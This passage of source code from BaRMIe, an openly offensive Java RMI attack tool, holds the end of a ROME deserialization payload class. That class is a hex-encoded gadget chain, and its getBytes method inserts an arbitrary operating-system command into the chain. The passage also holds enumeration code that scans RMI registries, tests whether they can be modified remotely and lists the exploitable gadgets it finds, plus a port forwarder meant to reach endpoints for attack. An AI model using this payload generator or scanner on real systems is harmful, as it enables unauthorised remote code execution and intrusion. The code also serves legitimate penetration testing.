2ab70001b100000002000d0000000600010000003b000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000141707701007873720027636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e457175616c734265616e00000000000000010200024c00096265616e436c6173737400114c6a6176612f6c616e672f436c6173733b4c00036f626a71007e00097078707672001d6a617661782e786d6c2e7472616e73666f726d2e54656d706c61746573000000000000000000000070787071007e001473720029636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e546f537472696e674265616e00000000000000010200024c00096265616e436c61737371007e001c4c00036f626a71007e000970787071007e001f71007e00147371007e001b7671007e000271007e000d7371007e002071007e002371007e000d71007e000671007e000671007e000678"; 26 | 27 | /******************* 28 | * Set payload properties 29 | ******************/ 30 | public ROMEPayload2() { 31 | super(); 32 | this.setName("ROME2"); 33 | this.setDescription("ROME 1.5 to 1.7.3"); 34 | this.setRemediationAdvice("[ROME] " + this.REMEDIATION_NO_FIX); 35 | this.setAffectedJars(new String[] { 36 | "rome-1.5.0.jar", "rome-1.5.1.jar", "rome-1.6.0.jar", "rome-1.6.1.jar", "rome-1.7.0.jar", "rome-1.7.1.jar", "rome-1.7.2.jar", "rome-1.7.3.jar" 37 | }); 38 | } 39 | 40 | /******************* 41 | * Generate payload bytes for the given OS command, correcting references 42 | * by the given amount. 43 | * 44 | * @param cmd The operating system command to execute. 45 | * @param refCorrection The amount to correct TC_REFERENCE handles by (see note above). 46 | * @return An array of bytes making up the deserialization payload. 47 | ******************/ 48 | public byte[] getBytes(String cmd, int refCorrection) throws BaRMIeException { 49 | ByteArrayOutputStream out; 50 | 51 | //Generate the payload bytes 52 | try { 53 | //Fix references in the header bytes and add them to the output 54 | out = new ByteArrayOutputStream(); 55 | out.write(this.fixReferences(this.hexStrToByteArray(this._header_chunk), refCorrection)); 56 | 57 | //Add the middle chunk 58 | out.write(this.intToByteArray(765 + cmd.length())); 59 | out.write(this.hexStrToByteArray(this._mid_chunk)); 60 | 61 | //Add the command string to the output 62 | out.write(this.stringToUtf8ByteArray(cmd)); 63 | 64 | //Fix references in the footer bytes and add them to the output 65 | out.write(this.fixReferences(this.hexStrToByteArray(this._footer_chunk), refCorrection)); 66 | } catch(IOException ioe) { 67 | throw new BaRMIeDeserPayloadGenerationException("Failed to build Commons Collections 1 deserialization payload.", ioe); 68 | } 69 | 70 | //Return the payload bytes 71 | return out.toByteArray(); 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /src/nb/barmie/modes/enumeration/EnumerationMode.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.modes.enumeration; 2 | 3 | import java.util.ArrayList; 4 | import java.util.concurrent.Executors; 5 | import java.util.concurrent.ThreadPoolExecutor; 6 | import nb.barmie.modes.attack.RMIAttackFactory; 7 | import nb.barmie.net.TCPEndpoint; 8 | import nb.barmie.util.ProgramOptions; 9 | 10 | /*********************************************************** 11 | * Enumeration mode - spawns EnumerationTask objects to 12 | * enumerate each target and print out the enumeration 13 | * results. 14 | * 15 | * Written by Nicky Bloor (@NickstaDB). 16 | **********************************************************/ 17 | public class EnumerationMode { 18 | /******************* 19 | * Properties 20 | ******************/ 21 | private ProgramOptions _opts; 22 | 23 | /******************* 24 | * Construct the enumeration mode object. 25 | * 26 | * @param options The program options. 27 | ******************/ 28 | public EnumerationMode(ProgramOptions options) { 29 | this._opts = options; 30 | } 31 | 32 | /******************* 33 | * Enumeration mode main function. 34 | ******************/ 35 | public void run() { 36 | ThreadPoolExecutor tpe = (ThreadPoolExecutor)Executors.newFixedThreadPool(this._opts.getThreadCount()); 37 | ArrayList targets = this._opts.getTargets(); 38 | RMIEnumerator rmie = new RMIEnumerator(this._opts); 39 | 40 | //Initialise the list of known attacks with the current program options 41 | RMIAttackFactory.setProgramOptions(this._opts); 42 | 43 | //Status 44 | System.out.println("Scanning " + targets.size() + " target(s) for objects exposed via an RMI registry..."); 45 | System.out.println(""); 46 | 47 | //Pass all tasks to the thread pool executor 48 | for(TCPEndpoint t: targets) { 49 | tpe.execute(new EnumerationTask(t, rmie, this._opts)); 50 | } 51 | 52 | //Shutdown the thread pool and wait for threads to finish executing 53 | tpe.shutdown(); 54 | while(tpe.isTerminated() == false) { } 55 | 56 | //Done 57 | System.out.println("Successfully scanned " + targets.size() + " target(s) for objects exposed via RMI."); 58 | 59 | //Clean up all attacks (e.g. stop proxies that were started to enumerate endpoints) 60 | RMIAttackFactory.cleanUp(); 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /src/nb/barmie/modes/enumeration/EnumerationTask.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.modes.enumeration; 2 | 3 | import java.net.InetSocketAddress; 4 | import java.net.Socket; 5 | import java.rmi.NoSuchObjectException; 6 | import java.util.ArrayList; 7 | import java.util.Collections; 8 | import nb.barmie.modes.attack.DeserPayload; 9 | import nb.barmie.modes.attack.DeserPayloadFactory; 10 | import nb.barmie.modes.attack.RMIAttack; 11 | import nb.barmie.modes.attack.RMIAttackFactory; 12 | import nb.barmie.net.TCPEndpoint; 13 | import nb.barmie.util.ProgramOptions; 14 | 15 | /*********************************************************** 16 | * Task object which enumerates a single RMI registry 17 | * target before printing out full details. 18 | * 19 | * Written by Nicky Bloor (@NickstaDB). 20 | **********************************************************/ 21 | public class EnumerationTask implements Runnable { 22 | /******************* 23 | * Properties 24 | ******************/ 25 | private final TCPEndpoint _target; 26 | private final RMIEnumerator _enumerator; 27 | private final ProgramOptions _options; 28 | 29 | /******************* 30 | * Construct the task with a given target and RMI enumerator object. 31 | * 32 | * @param target The target to enumerate. 33 | * @param rmie The RMI enumerator to use in enumeration. 34 | ******************/ 35 | public EnumerationTask(TCPEndpoint target, RMIEnumerator rmie, ProgramOptions options) { 36 | this._target = target; 37 | this._enumerator = rmie; 38 | this._options = options; 39 | } 40 | 41 | /******************* 42 | * Main method - enumerate an RMI endpoint and build a string describing 43 | * it before printing the results out. 44 | ******************/ 45 | public void run() { 46 | RMIEndpoint ep; 47 | String output = ""; 48 | ArrayList attacks; 49 | ArrayList deserPayloads; 50 | boolean deserAttackAvailable = false; 51 | boolean isLocalRegistry = false; 52 | int oi = 0, ci = 0; 53 | 54 | //Enumerate the endpoint 55 | ep = this._enumerator.enumerateEndpoint(this._target); 56 | 57 | //Set the isLocalRegistry flag if the target is localhost 58 | if(this._target.getHost().startsWith("127.") == true || this._target.getHost().equalsIgnoreCase("localhost")) { 59 | isLocalRegistry = true; 60 | } 61 | 62 | //Begin output 63 | if(ep.isRegistry()) { 64 | output += "RMI Registry at " + this._target.getHost() + ":" + this._target.getPort() + "\n"; 65 | 66 | //Object details 67 | output += "Objects exposed: " + ep.getExposedObjects().size() + "\n"; 68 | for(RMIObject o: ep.getExposedObjects()) { 69 | //Print the object name 70 | output += "Object " + (++oi) + "\n"; 71 | output += " Name: " + o.getObjectName() + "\n"; 72 | 73 | //Print the object endpoint details 74 | output += " Endpoint: " + o.getObjectEndpoint().getHost() + ":" + o.getObjectEndpoint().getPort() + "\n"; 75 | if(isLocalRegistry == false && (o.getObjectEndpoint().getHost().startsWith("127.") || o.getObjectEndpoint().getHost().equalsIgnoreCase("localhost"))) { 76 | //The RMI registry is not on localhost, but the remote object is bound to localhost, check whether it is listening externally 77 | if(this.testConnection(this._target.getHost(), o.getObjectEndpoint().getPort())) { 78 | //The remote object is bound to localhost, but appears to be accessible remotely 79 | output += " [+] Object is bound to localhost, but appears to be exposed remotely.\n"; 80 | } 81 | } 82 | 83 | //Print class details 84 | output += " Classes: " + o.getObjectClasses().size() + "\n"; 85 | for(String className: o.getObjectClasses().keySet()) { 86 | //Print class header and name 87 | output += " Class " + (++ci) + "\n"; 88 | output += " Classname: " + className + "\n"; 89 | 90 | //Print string annotations if there are any 91 | if(o.getStringAnnotations().size() > 0) { 92 | output += " String annotations: " + o.getStringAnnotations().size() + "\n"; 93 | for(String a: o.getStringAnnotations()) { 94 | //Print out the annotation 95 | output += " Annotation: " + a + "\n"; 96 | } 97 | } 98 | } 99 | } 100 | 101 | //Remote modification details 102 | if(ep.isRemotelyModifiable()) { 103 | output += "[+] It appears to be possible to remotely bind/unbind/rebind to this registry\n"; 104 | } 105 | 106 | //Reset flag indicating whether a known deserialization attack is available 107 | deserAttackAvailable = false; 108 | 109 | //Retrieve and print known RMI attacks 110 | output += "\n"; 111 | attacks = RMIAttackFactory.findAttacksForEndpoint(ep); 112 | if(attacks.size() > 0) { 113 | //Output the number of deserialization attacks 114 | output += attacks.size() + " potential attacks identified (+++ = more reliable)\n"; 115 | 116 | //Sort the attacks in order of reliability and output the details 117 | Collections.sort(attacks); 118 | for(RMIAttack rmia: attacks) { 119 | //Build output 120 | output += rmia.getReliabilityIndicator() + " " + rmia.getDescription() + "\n"; 121 | 122 | //Check for deserialization attacks and set flag 123 | if(deserAttackAvailable == false && rmia.isDeserAttack() == true) { 124 | deserAttackAvailable = true; 125 | } 126 | } 127 | } 128 | 129 | //If there were deserialization attacks, check for supported deserialization payload libraries 130 | output += "\n"; 131 | if(deserAttackAvailable == true) { 132 | //Get all Java deserialization payloads affecting the endpoint 133 | deserPayloads = DeserPayloadFactory.findGadgetsForEndpoint(ep); 134 | 135 | //Add some output 136 | output += deserPayloads.size() + " deserialization gadgets found on leaked CLASSPATH\n"; 137 | 138 | //Build output for supported gadgets 139 | if(deserPayloads.size() > 0) { 140 | for(DeserPayload p: deserPayloads) { 141 | output += "[+] " + p.getDescription() + "\n"; 142 | } 143 | } else { 144 | output += "[~] Gadgets may still be present despite CLASSPATH not being leaked\n"; 145 | } 146 | } 147 | 148 | //Add exceptions to the output 149 | if(ep.getEnumException() != null) { 150 | output += "[-] An exception occurred during enumeration.\n"; 151 | output += " " + ep.getEnumException().toString() + "\n"; 152 | } 153 | } else if(ep.isObjectEndpoint()) { 154 | //Add endpoint data to output 155 | output += this._target.getHost() + ":" + this._target.getPort() + " appears to be an RMI object endpoint, rather than a registry.\n"; 156 | 157 | //Add exception as long as it's not a NoSuchObjectException 158 | if(ep.getEnumException() != null && (ep.getEnumException() instanceof NoSuchObjectException) == false) { 159 | output += "[-] An exception occurred during enumeration.\n"; 160 | output += " " + ep.getEnumException().toString() + "\n"; 161 | } 162 | } else { 163 | //Check for exceptions 164 | if(ep.getEnumException() != null) { 165 | //Check for unsupported endpoints 166 | if(ep.getEnumException().toString().toLowerCase().contains("non-jrmp") || ep.getEnumException().toString().toLowerCase().contains("error during jrmp")) { 167 | output += this._target.getHost() + ":" + this._target.getPort() + " is non-RMI or RMI over SSL (not currently supported).\n"; 168 | output += "[~] RMI over SSL support will come in a future release!\n"; 169 | } 170 | } 171 | } 172 | 173 | //Print the enumeration result 174 | System.out.println(output); 175 | System.out.flush(); 176 | } 177 | 178 | /******************* 179 | * Test whether a TCP connection can be established to the given host and 180 | * port. 181 | * 182 | * Used, for example, when a remote object is bound to local host. The 183 | * object may still be exposed externally, however, port forwarding will 184 | * need to be used in order to access the remote object. 185 | * 186 | * @param host The host to connect to. 187 | * @param port The port to connect to. 188 | * @return True if the connection succeeded, false otherwise. 189 | ******************/ 190 | protected boolean testConnection(String host, int port) { 191 | Socket sock = null; 192 | 193 | //Attempt to connect to the target 194 | try { 195 | sock = new Socket(); 196 | sock.connect(new InetSocketAddress(host, port), this._options.getSocketTimeout()); 197 | } catch(Exception ex) { 198 | //An exception occurred, failed to connect 199 | return false; 200 | } finally { 201 | //Make sure the connection is closed 202 | if(sock != null) { 203 | try { sock.close(); } catch(Exception ex) { } 204 | } 205 | } 206 | 207 | //Success 208 | return true; 209 | } 210 | } 211 | -------------------------------------------------------------------------------- /src/nb/barmie/modes/enumeration/RMIEndpoint.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.modes.enumeration; 2 | 3 | import java.util.ArrayList; 4 | import nb.barmie.net.TCPEndpoint; 5 | 6 | /*********************************************************** 7 | * A container to manage and provide access to the details 8 | * of a single RMI endpoint (RMI registry or object 9 | * endpoint). 10 | * 11 | * Written by Nicky Bloor (@NickstaDB). 12 | **********************************************************/ 13 | public class RMIEndpoint { 14 | /******************* 15 | * Properties 16 | ******************/ 17 | private final TCPEndpoint _endpoint; //The host and port of the RMI endpoint 18 | private boolean _isRMIEndpoint; //True if this endpoint appears to be an RMI endpoint (RMI registry or RMI object endpoint) 19 | private boolean _isRegistry; //True if this endpoint is an RMI registry, false if it's an RMI object endpoint 20 | private boolean _isRemotelyModifiable; //True if the RMI registry appears to be remotely modifiable 21 | private final ArrayList _exposedObjects; //A list of all objects exposed by an RMI registry 22 | private Exception _enumerationException; //Used to store any noteworthy exceptions triggered whilst enumerating the endpoint 23 | 24 | /******************* 25 | * Initialise the RMI endpoint object with a given TCP endpoint. 26 | * 27 | * @param endpoint The TCP endpoint this object represents. 28 | ******************/ 29 | public RMIEndpoint(TCPEndpoint endpoint) { 30 | this._endpoint = endpoint; 31 | this._isRMIEndpoint = false; 32 | this._isRegistry = false; 33 | this._isRemotelyModifiable = false; 34 | this._exposedObjects = new ArrayList(); 35 | } 36 | 37 | /******************* 38 | * Add an RMIObject to the list of objects exposed through an RMI registry 39 | * endpoint. 40 | * 41 | * @param object An RMIObject describing the remote object. 42 | ******************/ 43 | public void addRMIObject(RMIObject object) { 44 | this._exposedObjects.add(object); 45 | } 46 | 47 | /******************* 48 | * Check if any of the objects on this endpoint use a given class name. 49 | * 50 | * @param className The class name to search for. 51 | * @return True if any objects on this endpoint use the given class. 52 | ******************/ 53 | public boolean hasClass(String className) { 54 | for(RMIObject obj: this._exposedObjects) { 55 | for(String c: obj.getObjectClasses().keySet()) { 56 | if(c.equals(className)) { 57 | return true; 58 | } 59 | } 60 | } 61 | return false; 62 | } 63 | 64 | /******************* 65 | * Find the name of an object that uses the given class. 66 | * 67 | * Helper method to find objects to target. 68 | * 69 | * @param className The class name to search for. 70 | * @return An object name or null if no matching objects are found. 71 | ******************/ 72 | public String findObjectWithClass(String className) { 73 | for(RMIObject obj: this._exposedObjects) { 74 | for(String c: obj.getObjectClasses().keySet()) { 75 | if(c.equals(className)) { 76 | return obj.getObjectName(); 77 | } 78 | } 79 | } 80 | return null; 81 | } 82 | 83 | /******************* 84 | * Check if any of the objects on this endpoint are annotated with the 85 | * given JAR file name. 86 | * 87 | * @param jarName The jar file name to search for. 88 | * @return True if any objects on this endpoint are annotated with the given jar file name. 89 | ******************/ 90 | public boolean hasJar(String jarName) { 91 | String[] pathParts; 92 | 93 | //Iterate over all annotations of all exposed objects 94 | for(RMIObject obj: this._exposedObjects) { 95 | for(String a: obj.getStringAnnotations()) { 96 | //Split the annotation on the space, colon, and semi-colon characters to get separate paths/URLs 97 | for(String path: a.split("[ ;:]")) { 98 | //Split the path on forward and backward slashes to get the JAR filename 99 | pathParts = path.split("[\\\\/]"); 100 | 101 | //Check if the jar filename matches the one we were given 102 | if(pathParts.length > 0) { 103 | if(jarName.toLowerCase().equals(pathParts[pathParts.length - 1].toLowerCase())) { 104 | return true; 105 | } 106 | } 107 | } 108 | } 109 | } 110 | 111 | //No match 112 | return false; 113 | } 114 | 115 | /******************* 116 | * Setters 117 | ******************/ 118 | public void setIsRMIEndpoint(boolean isRMIEndpoint) { this._isRMIEndpoint = isRMIEndpoint; } 119 | public void setIsRegistry(boolean isRegistry) { this._isRegistry = isRegistry; } 120 | public void setIsRemotelyModifiable(boolean isModifiable) { this._isRemotelyModifiable = isModifiable; } 121 | public void setEnumException(Exception ex) { this._enumerationException = ex; } 122 | 123 | /******************* 124 | * Getters 125 | ******************/ 126 | public TCPEndpoint getEndpoint() { return this._endpoint; } 127 | public boolean isRMIEndpoint() { return this._isRMIEndpoint; } 128 | public boolean isRegistry() { return this._isRegistry && this._isRMIEndpoint; } 129 | public boolean isObjectEndpoint() { return (!this._isRegistry) && this._isRMIEndpoint; } 130 | public boolean isRemotelyModifiable() { return this._isRemotelyModifiable; } 131 | public Exception getEnumException() { return this._enumerationException; } 132 | public ArrayList getExposedObjects() { return this._exposedObjects; } 133 | } 134 | -------------------------------------------------------------------------------- /src/nb/barmie/modes/enumeration/RMIEnumerator.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.modes.enumeration; 2 | 3 | import java.net.InetAddress; 4 | import java.rmi.AccessException; 5 | import java.rmi.ConnectException; 6 | import java.rmi.ConnectIOException; 7 | import java.rmi.NoSuchObjectException; 8 | import java.rmi.NotBoundException; 9 | import java.rmi.RemoteException; 10 | import java.rmi.ServerError; 11 | import java.rmi.ServerException; 12 | import java.rmi.ServerRuntimeException; 13 | import java.rmi.UnknownHostException; 14 | import java.rmi.registry.LocateRegistry; 15 | import java.rmi.registry.Registry; 16 | import java.security.SecureRandom; 17 | import java.util.ArrayList; 18 | import java.util.Arrays; 19 | import nb.barmie.net.TCPEndpoint; 20 | import nb.barmie.net.TimeoutClientSocketFactory; 21 | import nb.barmie.net.proxy.RMIReturnDataCapturingProxy; 22 | import nb.barmie.util.ProgramOptions; 23 | 24 | /*********************************************************** 25 | * Class to perform enumeration of an RMI endpoint and 26 | * build a data structure describing it. 27 | * 28 | * Written by Nicky Bloor (@NickstaDB). 29 | **********************************************************/ 30 | public class RMIEnumerator { 31 | /******************* 32 | * Constants and properties 33 | ******************/ 34 | //Constants 35 | private final String DEFAULT_UNBIND_NAME = "7a7e92763ffa6ed3a01bc9308dec09a944a6c9ffe6475be7cf70b2ab660ea000d60db9dfe2acee3a59d162da82800bb6de2e5f515dc57b24dfbfa233973c43cb"; 36 | 37 | //Program options (e.g. for TCP timeouts) 38 | private final ProgramOptions _options; 39 | 40 | /******************* 41 | * Initialise the RMI enumerator with the given program options data. 42 | * 43 | * @param options The program options. 44 | ******************/ 45 | public RMIEnumerator(ProgramOptions options) { 46 | this._options = options; 47 | } 48 | 49 | /******************* 50 | * Enumerate a single RMI endpoint. This method probes the given endpoint 51 | * to identify whether it's an RMI registry or object endpoint, then in the 52 | * case of RMI registry endpoints a proxy is used to capture and extract 53 | * additional details about the exposed objects. 54 | * 55 | * @param target The TCP endpoint to enumerate. 56 | * @return An RMIEndpoint object containing details of the endpoint. 57 | *******************/ 58 | public RMIEndpoint enumerateEndpoint(TCPEndpoint target) { 59 | RMIReturnDataCapturingProxy rmiProxy; 60 | RMIEndpoint rmie; 61 | RMIReplyDataParser replyParser; 62 | Registry reg; 63 | String[] objectNames; 64 | String unbindName; 65 | Object obj; 66 | int i; 67 | 68 | //Create an RMIEndpoint object for this target 69 | rmie = new RMIEndpoint(target); 70 | 71 | //Create a Registry reference to the endpoint 72 | try { 73 | reg = LocateRegistry.getRegistry(target.getHost(), target.getPort(), new TimeoutClientSocketFactory(this._options.getSocketTimeout())); 74 | } catch(RemoteException re) { 75 | //Could not create a reference to the registry 76 | throw new RuntimeException("Unable to create a java.rmi.Registry reference for the endpoint '" + target.getHost() + ":" + target.getPort() + "'."); 77 | } 78 | 79 | //Begin enumerating the endpoint 80 | try { 81 | //Attempt to retrieve a list of objects from the endpoint 82 | objectNames = reg.list(); 83 | rmie.setIsRMIEndpoint(true); 84 | rmie.setIsRegistry(true); 85 | 86 | //Test whether the registry can be manipulated 87 | try { 88 | //Find an object name that isn't bound to the registry already 89 | unbindName = getUnboundObjectName(objectNames); 90 | 91 | //Attempt to unbind an object that isn't bound to the registry 92 | reg.unbind(unbindName); 93 | } catch(NotBoundException nbe) { 94 | //Looks like the registry can be manipulated remotely 95 | rmie.setIsRemotelyModifiable(true); 96 | } catch(Exception e) { 97 | //Registry cannot be manipulated remotely, swallow the exception 98 | } 99 | 100 | //Start a proxy to capture the object details 101 | rmiProxy = new RMIReturnDataCapturingProxy(InetAddress.getByName(target.getHost()), target.getPort(), this._options); 102 | rmiProxy.startProxy(); 103 | 104 | //Get a new Registry reference pointing at the proxy 105 | reg = LocateRegistry.getRegistry(rmiProxy.getServerListenAddress().getHostAddress(), rmiProxy.getServerListenPort(), new TimeoutClientSocketFactory(this._options.getSocketTimeout())); 106 | 107 | //List objects to establish an RMI registry connection through the proxy 108 | objectNames = reg.list(); 109 | 110 | //Create a ReplyData parser to extract object details from captured RMI ReplyData packets 111 | replyParser = new RMIReplyDataParser(); 112 | 113 | //Request each of the exposed objects and extract information about the objects from the data captured by the proxy 114 | for(i = 0; i < objectNames.length; ++i) { 115 | //Reset the proxy data buffer 116 | rmiProxy.resetDataBuffer(); 117 | 118 | //Request an object from the registry 119 | try { 120 | obj = reg.lookup(objectNames[i]); 121 | } catch(Exception e) { 122 | //Swallow the exception, we just need the data that came back through the proxy 123 | } 124 | 125 | //Delay to allow any remaining RMI ReplyData packets to be buffered from the above call to lookup() 126 | Thread.sleep(250); 127 | 128 | //If a new RMI connection was established then re-request this object 129 | if(rmiProxy.didReconnect() == true) { 130 | rmiProxy.resetReconnectFlag(); 131 | --i; 132 | } else { 133 | //Extract object details from the data stream and store the details in the RMIEndpoint object 134 | rmie.addRMIObject(replyParser.extractObjectDetails(objectNames[i], rmiProxy.getDataBuffer())); 135 | } 136 | } 137 | 138 | //Done enumerating objects, shutdown the proxy 139 | rmiProxy.stopProxy(true); 140 | } catch(AccessException ae) { 141 | //Looks like an RMI registry endpoint but access is denied 142 | rmie.setIsRMIEndpoint(true); 143 | rmie.setIsRegistry(true); 144 | rmie.setEnumException(ae); 145 | } catch(NoSuchObjectException|ServerError|ServerException|ServerRuntimeException se) { 146 | //An RMI exception occurred on the endpoint indicating that it is an RMI endpoint but it's not clear whether it's an object or registry 147 | rmie.setIsRMIEndpoint(true); 148 | rmie.setEnumException(se); 149 | } catch(ConnectException|ConnectIOException|UnknownHostException ce) { 150 | //Unable to connect to the endpoint 151 | rmie.setEnumException(ce); 152 | } catch(Exception re) { 153 | //Other exceptions probably indicate that it isn't actually an RMI endpoint 154 | rmie.setEnumException(re); 155 | } 156 | 157 | //Return the RMI endpoint details 158 | return rmie; 159 | } 160 | 161 | /******************* 162 | * Get an object name that isn't in the given list of bound object names. 163 | * 164 | * Helper function to aid in testing whether a registry can be manipulated 165 | * remotely. 166 | * 167 | * @param objectNames The list of object names that are bound to the registry being tested. 168 | * @return A string representing an object name that is not bound to the registry. 169 | ******************/ 170 | private String getUnboundObjectName(String[] objectNames) { 171 | SecureRandom sRand; 172 | ArrayList objNames; 173 | String objName; 174 | 175 | //Start with defaults 176 | objNames = new ArrayList(Arrays.asList(objectNames)); 177 | objName = this.DEFAULT_UNBIND_NAME; 178 | sRand = new SecureRandom(); 179 | 180 | //Loop until we find an object name that isn't bound in the registry 181 | while(objNames.contains(objName)) { 182 | //Generate a new random object name 183 | objName = Long.toHexString(sRand.nextLong()) + Long.toHexString(sRand.nextLong()) + Long.toHexString(sRand.nextLong()); 184 | } 185 | 186 | //Return the object name to use 187 | return objName; 188 | } 189 | } 190 | -------------------------------------------------------------------------------- /src/nb/barmie/modes/enumeration/RMIObject.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.modes.enumeration; 2 | 3 | import java.util.ArrayList; 4 | import java.util.HashMap; 5 | import nb.barmie.net.TCPEndpoint; 6 | 7 | /*********************************************************** 8 | * A container to manage and provide access to the details 9 | * of a single object that has been exposed through an RMI 10 | * registry service. 11 | * 12 | * Written by Nicky Bloor (@NickstaDB). 13 | **********************************************************/ 14 | public class RMIObject { 15 | /******************* 16 | * Properties 17 | ******************/ 18 | private final String _objectName; //The name that the object is bound to in the RMI registry service 19 | private final HashMap> _classes; //The classes behind the object, mapped to any string annotations attached to the class definitions 20 | private TCPEndpoint _objectEndpoint; //The host/port where the object is hosted 21 | private Exception _objectParsingException; //Set if an exception occurred whilst parsing the object details from network packets 22 | 23 | /******************* 24 | * Construct the object with the name that the remote object is bound to. 25 | * 26 | * @param objectName The name that the remote object is bound to in an RMI registry. 27 | ******************/ 28 | public RMIObject(String objectName) { 29 | //Initialise the object 30 | this._objectName = objectName; 31 | this._classes = new HashMap>(); 32 | this._objectEndpoint = null; 33 | this._objectParsingException = null; 34 | } 35 | 36 | /******************* 37 | * Add a class to the object description - this will be one of the 38 | * hierarchy of classes and interfaces behind the object. 39 | * 40 | * @param classname A fully-qualified class name extracted from the RMI ReplyData packet. 41 | ******************/ 42 | public void addClass(String classname) { 43 | this._classes.put(classname, new ArrayList()); 44 | } 45 | 46 | /******************* 47 | * Add a string annotation to a class. 48 | * 49 | * @param classname The fully-qualified class name to annotate. 50 | * @param annotation The string annotation. 51 | ******************/ 52 | public void addStringAnnotation(String classname, String annotation) { 53 | this._classes.get(classname).add(annotation); 54 | } 55 | 56 | /******************* 57 | * Get all string annotations from this object's classes. 58 | * 59 | * @return A list of string annotations from this object's classes. 60 | ******************/ 61 | public ArrayList getStringAnnotations() { 62 | ArrayList annotations = new ArrayList(); 63 | 64 | //Build a list of string annotations for each class making up this object 65 | for(String className: this._classes.keySet()) { 66 | for(String annotation: this._classes.get(className)) { 67 | annotations.add(annotation); 68 | } 69 | } 70 | 71 | //Return the annotations 72 | return annotations; 73 | } 74 | 75 | /******************* 76 | * Setters 77 | ******************/ 78 | public void setObjectEndpoint(TCPEndpoint endpoint) { this._objectEndpoint = endpoint; } 79 | public void setParsingException(Exception exception) { this._objectParsingException = exception; } 80 | 81 | /******************* 82 | * Getters 83 | ******************/ 84 | public String getObjectName() { return this._objectName; } 85 | public HashMap> getObjectClasses() { return this._classes; } 86 | public TCPEndpoint getObjectEndpoint() { return this._objectEndpoint; } 87 | public Exception getParsingException() { return this._objectParsingException; } 88 | } 89 | -------------------------------------------------------------------------------- /src/nb/barmie/net/TCPEndpoint.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.net; 2 | 3 | import nb.barmie.exceptions.BaRMIeInvalidPortException; 4 | 5 | /*********************************************************** 6 | * Holder for host and port properties of a TCP endpoint. 7 | * 8 | * Written by Nicky Bloor (@NickstaDB). 9 | **********************************************************/ 10 | public class TCPEndpoint { 11 | /******************* 12 | * Properties 13 | ******************/ 14 | private final String _host; 15 | private final int _port; 16 | 17 | /******************* 18 | * Construct the TCP endpoint object with a given host and port. 19 | * 20 | * @param host The host/IP to use. 21 | * @param port The port to use. 22 | * @throws nb.barmie.exceptions.BaRMIeInvalidPortException If the given port number is not a valid TCP port number. 23 | ******************/ 24 | public TCPEndpoint(String host, int port) throws BaRMIeInvalidPortException { 25 | //Store the properties 26 | this._host = host; 27 | this._port = port; 28 | 29 | //Validate the port number 30 | if(this._port < 1 || this._port > 65535) { 31 | throw new BaRMIeInvalidPortException(this._port); 32 | } 33 | } 34 | 35 | /******************* 36 | * Return a string representation of this endpoint. 37 | * 38 | * @return A host:port string. 39 | ******************/ 40 | public String toString() { 41 | return this._host + ":" + this._port; 42 | } 43 | 44 | /******************* 45 | * Getters 46 | ******************/ 47 | public String getHost() { return this._host; } 48 | public int getPort() { return this._port; } 49 | } 50 | -------------------------------------------------------------------------------- /src/nb/barmie/net/TimeoutClientSocketFactory.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.net; 2 | 3 | import java.io.IOException; 4 | import java.net.InetSocketAddress; 5 | import java.net.Socket; 6 | import java.rmi.server.RMIClientSocketFactory; 7 | 8 | /*********************************************************** 9 | * An RMIClientSocketFactory implementation that sets a 10 | * timeout on blocking socket operations. 11 | * 12 | * Written by Nicky Bloor (@NickstaDB). 13 | **********************************************************/ 14 | public class TimeoutClientSocketFactory implements RMIClientSocketFactory { 15 | /******************* 16 | * Properties 17 | ******************/ 18 | private final int _timeout; //The timeout in milliseconds before blocking socket operations return. 19 | 20 | /******************* 21 | * Construct the socket factory with a given timeout value. 22 | * 23 | * @param timeout The timeout in milliseconds before blocking socket operations should return. 24 | ******************/ 25 | public TimeoutClientSocketFactory(int timeout) { 26 | this._timeout = timeout; 27 | } 28 | 29 | /******************* 30 | * Create a socket, set the timeout, and connect it to the given target. 31 | * 32 | * @param host The host to connect to. 33 | * @param port The port to connect to. 34 | * @return A socket connected to the given target.s 35 | * @throws IOException If an exception occurs whilst connecting to the target. 36 | ******************/ 37 | public Socket createSocket(String host, int port) throws IOException { 38 | Socket sock; 39 | 40 | //Create the socket, set the timeout, and connect to the target 41 | sock = new Socket(); 42 | sock.setSoTimeout(this._timeout); 43 | sock.setSoLinger(false, 0); 44 | sock.connect(new InetSocketAddress(host, port), this._timeout); 45 | 46 | //Return the socket 47 | return sock; 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /src/nb/barmie/net/proxy/PortForwarder.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.net.proxy; 2 | 3 | import java.net.InetAddress; 4 | import java.net.Socket; 5 | import nb.barmie.net.proxy.thread.PassThroughProxyThread; 6 | import nb.barmie.util.ProgramOptions; 7 | 8 | /*********************************************************** 9 | * A TCP Proxy instance which uses two pass through proxy 10 | * threads in order to support port forwarding. 11 | * 12 | * In some cases RMI server applications bind objects to 13 | * localhost or 127.0.0.1. When an RMI client attempts to 14 | * use one of these objects, it attempts to connect to it 15 | * on the local host, rather than the remote server. This 16 | * proxy instance is intended to be used to forward the 17 | * local port to the remote server so that we can still 18 | * attack these endpoints. 19 | * 20 | * Written by Nicky Bloor (@NickstaDB). 21 | **********************************************************/ 22 | public class PortForwarder extends ProxyServer { 23 | /******************* 24 | * Construct the port forwarder. 25 | * 26 | * @param targetHost The host to forward connections to. 27 | * @param targetPort The port to forward connections to. 28 | * @param options The program options. 29 | ******************/ 30 | public PortForwarder(InetAddress targetHost, int targetPort, ProgramOptions options) { 31 | //Initialise super class 32 | super(targetHost, targetPort, options); 33 | 34 | //Set the listen port to the target port 35 | this.setServerListenPort(targetPort); 36 | } 37 | 38 | /******************* 39 | * Create a proxy session object which allows data to pass through 40 | * untouched in both directions. 41 | * 42 | * @param clientSock A Socket for the incoming client connection. 43 | * @param targetSock A Socket connected to the proxy target. 44 | * @return A ProxySession object to handle the connection and data transfer. 45 | ******************/ 46 | protected ProxySession 